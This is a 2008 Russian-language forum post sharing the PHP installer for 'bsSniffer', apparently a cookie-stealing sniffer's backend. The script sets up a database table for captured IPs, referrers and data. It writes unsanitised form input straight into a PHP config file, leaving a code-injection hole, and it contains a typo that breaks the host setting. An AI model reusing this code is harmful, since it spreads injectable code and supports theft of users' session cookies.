| BlackSun |
07.06.2008 12:12 |
На примере моего инсталлера ..
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<title>bsSniffer</title>
<link href="default.css" rel="stylesheet" type="text/css" media="screen" />
</head>
<body>
<div id="logo">
<h1><a>bsSniffer - Install</a></h1>
</div>
<div id="menu">
<ul>
<li class="current_page_item"></li>
</ul>
</div>
<div id="page">
<div id="page-bg">
<div id="latest-post" align="center">
<?
if (isset($_POST['do']))
{
$username = htmlspecialchars($_POST['username']);
$pass = htmlspecialchars($_POST['pass']);
$cookmax = htmlspecialchars($_POST['cookmax']);
$dbhost - str_replace(';', '', str_replace('"', '', $_POST['dbhost']));
$dbname = str_replace(';', '', str_replace('"', '', $_POST['dbname']));
$dbuser = str_replace(';', '', str_replace('"', '', $_POST['dbuser']));
$dbpass = str_replace(';', '', str_replace('"', '', $_POST['dbpass']));
$file = fopen('config.php', 'w+');
fputs($file, "<?\r\n");
fputs($file, ' $username="'.$username.'"'.";\r\n");
fputs($file, ' $pass="'.$pass.'"'.";\r\n");
fputs($file, ' $cookmax='.$cookmax.";\r\n\r\n");
fputs($file, ' $dbhost="'.$dbhost.'"'.";\r\n");
fputs($file, ' $dbname="'.$dbname.'"'.";\r\n");
fputs($file, ' $dbuser="'.$dbuser.'"'.";\r\n");
fputs($file, ' $dbpass="'.$dbpass.'"'.";\r\n\r\n");
fputs($file, ' $debug=0'.";\r\n");
fputs($file, "?>");
fclose($file);
$mysql = mysql_connect($dbhost, $dbuser, $dbpass) or die('MySql error: connect');
mysql_select_db($dbname, $mysql) or die('MySql error: select_db');
mysql_query("CREATE TABLE `data` (`id` int(11) NOT NULL auto_increment, `uid` text, `time` text NOT NULL, `ip` text NOT NULL, `reff` text NOT NULL, `data` text NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `id_2` (`id`), KEY `id` (`id`)) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=6 ;");
echo "<center><a href='auth.php'><img border='0' src='images/Symbol-Check.png' /></a><br>";
echo "<b><font color='#FF0000'>Установка завершена!</font><br>";
echo "Удалите файл install.php</b></center>";
} else
{
?>
<b><font color="#FF0000">Внимание!</font></b><br>
Не забудьте поставить права 777 на файл <b>config.php</b>!<br>
В паролях <b>запрешено</b> использовать символы <b>"</b> и <b>;</b><br><br>
<form action="install.php" method="post">
<input type="hidden" name="do" value="install">
<table border="0" cellpadding="2" cellspacing="2" align="center" width="350">
<tr>
<td width="120" align="right"><b>User name:</b></td>
<td width="202"><input type="text" name="username" style="width:200px"/></td>
</tr>
<tr>
<td align="right"><b>Password:</b></td>
<td><input type="password" name="pass" style="width:200px"/></td>
</tr>
<tr>
<td align="right"><b>Cookies at page:</b></td>
<td><input type="text" name="cookmax" style="width:200px"/></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr>
<td align="right"><b>MySQL host:</b></td>
<td><input type="text" name="dbhost" style="width:200px"/></td>
</tr>
<tr>
<td align="right"><b>MySQL DB:</b></td>
<td><input type="text" name="dbname" style="width:200px"/></td>
</tr>
<tr>
<td align="right"><b>MySQL user:</b></td>
<td><input type="text" name="dbuser" style="width:200px"/></td>
</tr>
<tr>
<td align="right"><b>MySQL pass:</b></td>
<td><input type="password" name="dbpass" style="width:200px"/></td>
</tr>
<tr><td colspan="2"> </td></tr>
<tr><td colspan="2" align="center">
<input type="submit" value="Install!" style="width:120px"/>
<input type="reset" value="Reset" style="width:120px"/>
</td></tr>
</table>
</form>
<?
}
?>
</div>
<div style="clear: both;"> </div>
</div>
</div>
<div id="footer">
<p>© 2008 BlackSun [S.T.A.R.S. Team]</p>
</div>
</body>
</html>
|